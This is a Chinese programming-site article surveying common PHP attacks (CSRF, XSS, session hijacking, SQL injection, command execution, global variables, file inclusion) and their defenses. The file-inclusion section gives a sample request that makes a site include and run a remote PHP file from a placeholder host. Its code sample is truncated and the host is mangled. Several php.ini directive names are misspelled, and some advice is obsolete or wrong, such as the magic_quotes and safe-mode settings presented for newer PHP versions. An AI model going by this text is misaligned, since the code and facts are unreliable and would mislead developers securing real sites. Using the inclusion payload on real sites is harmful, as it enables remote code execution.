我的编程空间,编程开发者的网络收藏夹
学习永远不晚

php中的常见攻击解读

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

php中的常见攻击解读

php常见攻击解读

什么是CSRF攻击

CSRF跨站请求伪造

黑客建立一个伪造网站或发送邮箱带了一个正常URL链接来让正常用户访问,来让正常用户让自己浏览器里的COOKIE权限来执行一些非法请求,如转账,提权等操作,

防范方法有,验证 HTTP Referer 字段;在请求地址中添加 token 并验证;

XSS攻击

主要将XSS代码提交存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。当目标用户访问该页面获取数据时,XSS代码会从服务器解析之后加载出来,返回到浏览器做正常的HTML和JS解析执行,XSS攻击就发生了。

防范方法:通过过滤是针对非法的HTML代码包括单双引号等,使用htmlspecialchars()函数

php网站常见一些安全漏洞及防御方法

常见PHP网站安全漏洞

对于PHP的漏洞,目前常见的漏洞有五种。分别是Session文件漏洞、SQL注入漏洞、脚本命令执行漏洞、全局变量漏洞和文件漏洞。这里分别对这些漏洞进行简要的介绍。

1、session文件漏洞

Session攻击是黑客最常用到的攻击手段之一。当一个用户访问某一个网站时,为了免客户每进人一个页面都要输人账号和密码,PHP设置了Session和Cookie用于方便用户的使用和访问。

2、SQL注入漏洞

在进行网站开发的时候,程序员由于对用户输人数据缺乏全面判断或者过滤不严导致服务器执行一些恶意信息,比如用户信息查询等。黑客可以根据恶意程序返回的结果获取相应的信息。这就是所谓的SQL注入漏洞。

3、脚本执行漏洞

脚本执行漏洞常见的原因是由于程序员在开发网站时对用户提交的URL参数过滤较少引起的,用户提交的URL可能包含恶意代码导致跨站脚本攻击。脚本执行漏洞在以前的PHP网站中经常存在,但是随着PHP版本的升级,这些问题已经减少或者不存在了。

4、全局变量漏洞

PHP中的变量在使用的时候不像其他开发语言那样需要事先声明,PHP中的变量可以不经声明就直接使用,使用的时候系统自动创建,而且也不需要对变 量类型进行说明,系统会自动根据上下文环境自动确定变量类型。这种方式可以大大减少程序员编程中出错的概率,使用起来非常的方便。

5、文件漏洞

文件漏洞通常是由于网站开发者在进行网站设计时对外部提供的数据缺乏充分的过滤导致黑客利用其中的漏洞在Web进程上执行相应的命令。假如在 lsm.php中包含这样一段代码:include(,这对黑客来说,可以通过变量b来实现远程攻击,可以是黑客自已的 代码,用来实现对网站的攻击。可以向服务器提交a.php include=http://lZ7.0.0. 1/b.php,然后执行b.php的指令。

PHP常见漏洞的防范措施

1、对于Session漏洞的防范

从前面的分析可以知道,Session攻击最常见的就是会话劫持,也就是黑客通过各种攻击手段获取用户的Session ID,然后利用被攻击用户的身份来登录相应网站。

为此,这里可以用以下几种方法进行防范:

  • 是定期更换Session ID,更换Session ID可以用PHP自带函数来实现;
  • 是更换Session名称,通常情况下Session的默认名称是PHPSESSID,这个变量一般是在cookie 中保存的,如果更改了它的名称,就可以阻挡黑客的部分攻击;
  • 是对透明化的Session ID进行关闭处理,所谓透明化也就是指在http请求没有使用cookies来制定Session id时,Sessioin id使用链接来传递.关闭透明化Session ID可以通过操作PHP.ini文件来实现;四是通过URL传递隐藏参数,这样可以确保即使黑客获取了session数据,但是由于相关参数是隐藏的,它 也很难获得Session ID变量值。

2、对SQL注入漏洞的防范

黑客进行SQL注入手段很多,而且灵活多变,但是SQL注入的共同点就是利用输入过滤漏洞。因此,要想从根本上防止SQL注入,根本解决措施就是加 强对请求命令尤其是查询请求命令的过滤。

具体来说,包括以下几点:

  • 是把过滤性语句进行参数化处理,也就是通过参数化语句实现用户信息的输入而不是直接把 用户输入嵌入到语句中;
  • 是在网站开发的时候尽可能少用解释性程序,黑客经常通过这种手段来执行非法命令;
  • 是在网站开发时尽可能避免网站出现bug,否 则黑客可能利用这些信息来攻击网站;仅仅通过防御SQL注入还是不够的,另外还要经常使用专业的漏洞扫描工具对网站进行漏洞扫描。

3、对脚本执行漏洞的防范

黑客利用脚本执行漏洞进行攻击的手段是多种多样的,而且是灵活多变的,对此,必须要采用多种防范方法综合的手段,才能有效防止黑客对脚本执行漏洞进 行攻击。

这里常用的方法方法有以下四种:

  • 是对可执行文件的路径进行预先设定。可以通过safe_moade_exec_dir来实现;
  • 是对命令参数进 行处理,一般用escapeshellarg函数实现;
  • 是用系统自带的函数库来代替外部命令;
  • 是在操作的时候尽可能减少使用外部命令。

4、对全局变量漏洞防范

对于PHP全局变量的漏洞问题,以前的PHP版本存在这样的问题,但是随着PHP版本升级到5.5以后,可以通过对php.ini的设置来实现,设置ruquest_order为GPC。另外在php.ini配置文件中,可以通过对Magic_quotes_runtime 进行布尔值设置是否对外部引人的数据中的溢出字符加反斜线。为了确保网站程序在服务器的任何设置状态下都能运行。可以在整个程序开始的时候用 get_magic_quotes_runtime检测设置状态决定是否要手工处理,或者在开始(或不需要自动转义的时候)用 set_magic_quotes_runtime(0)关掉。

5、对文件漏洞的防范

对于PHP文件漏洞可以通过对服务器进行设置和配置来达到防范目的。

这里具体的操作如下:

  • 是把PHP代码中的错误提示关闭,这样可以避免黑客通过 错误提示获取数据库信息和网页文件物理路径;
  • 是对open_basedir尽心设置,也就是对目录外的文件操作进行禁止处理;这样可以对本地文件或者远 程文件起到保护作用,防止它们被攻击,这里还要注意防范Session文件和上载文件的攻击;
  • 是把safe-made设置为开启状态,从而对将要执行的 命令进行规范,通过禁止文件上传,可以有效的提高PHP网站的安全系数。

以上为个人经验,希望能给大家一个参考,也希望大家多多支持编程网。 

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

php中的常见攻击解读

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

解析常见的拒绝服务攻击类型

  网络安全中,拒绝服务攻击以其危害巨大,难以防御等特点成为黑客经常采用的攻击手段。在拒绝服务攻击原理下,它又派生出不同的攻击类型,正确了解这些不同的拒绝攻击类型,才能正确、系统地为自己所在企业部署完美的安全防护系统。下面,我们就来简单介绍一些传统的攻击类型。  1、SYN Foold  SYN Foold是当前最流行
解析常见的拒绝服务攻击类型
2024-04-18

常见的服务器攻击是什么

一些常见的服务器攻击包括:分布式拒绝服务(DDoS)攻击:通过向服务器发送大量请求,使其超负荷而导致服务不可用。SQL注入攻击:通过在输入字段中插入恶意的SQL代码,攻击者可以获取数据库中的敏感信息或破坏数据库。跨站脚本(XSS)攻击:通过
常见的服务器攻击是什么
2024-05-13

常见的DDOS攻击类型是什么

常见的DDoS攻击类型包括:ICMP Flood: 攻击者通过发送大量的ICMP(Internet Control Message Protocol)数据包来使目标服务器过载,导致网络拥堵。SYN Flood: 攻击者发送大量的TCP SY
常见的DDOS攻击类型是什么
2024-05-15

PHP预防SQL注入、CSRF和XSS攻击的常见措施

本文介绍了PHP中预防SQL注入、CSRF和XSS攻击的常见措施。这些措施包括使用参数化查询、转义用户输入、使用CSRF令牌、启用严格的Cookie设置、转义输出、启用CSP、使用内容过滤库、更新软件、实施RBAC、异常处理、安全日志记录和定期安全评估。这些措施有助于保护PHP应用程序免受常见网络攻击的侵害。
PHP预防SQL注入、CSRF和XSS攻击的常见措施
2024-04-02

网络最常见的三种攻击方式

  网络攻击所属现代词,指的是利用网络存在的漏洞和安全缺陷对网络系统的硬件、软件及其系统中的数据进行的攻击。在这一篇教程里面,小编主要和大家简单的介绍一下:网络最常见的三种攻击方式。  第一种攻击方式:UDP洪水(英文全称:UDPflood)  首先小编要为大家介绍的第一种攻击方式,就是UDPFlood了。它可以说的上
网络最常见的三种攻击方式
2024-04-18

几种常见攻击的正则表达式

这些正则表达式是一些攻击放过滤使用的,确实不错,喜欢的朋友可以研究下,不要搞破坏啊,仅供研究学习使用
2022-11-15

常见的服务器攻击类型是什么

常见的服务器攻击类型包括:DDos 攻击(Distributed Denial of Service):分布式拒绝服务攻击是通过大量恶意流量向服务器发送请求,导致服务器无法正常处理其他合法用户的请求。SQL 注入攻击:攻击者通过在应用程序中
常见的服务器攻击类型是什么
2024-05-11

常见的服务器网站攻击是什么

一些常见的服务器网站攻击包括:DDOS 攻击:分布式拒绝服务攻击,旨在通过向服务器发送大量请求来使其超载,导致无法正常响应合法用户的请求。SQL 注入攻击:攻击者向网站输入恶意的 SQL 代码,以获取敏感数据或破坏数据库。XSS 攻击:跨站
常见的服务器网站攻击是什么
2024-04-23

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录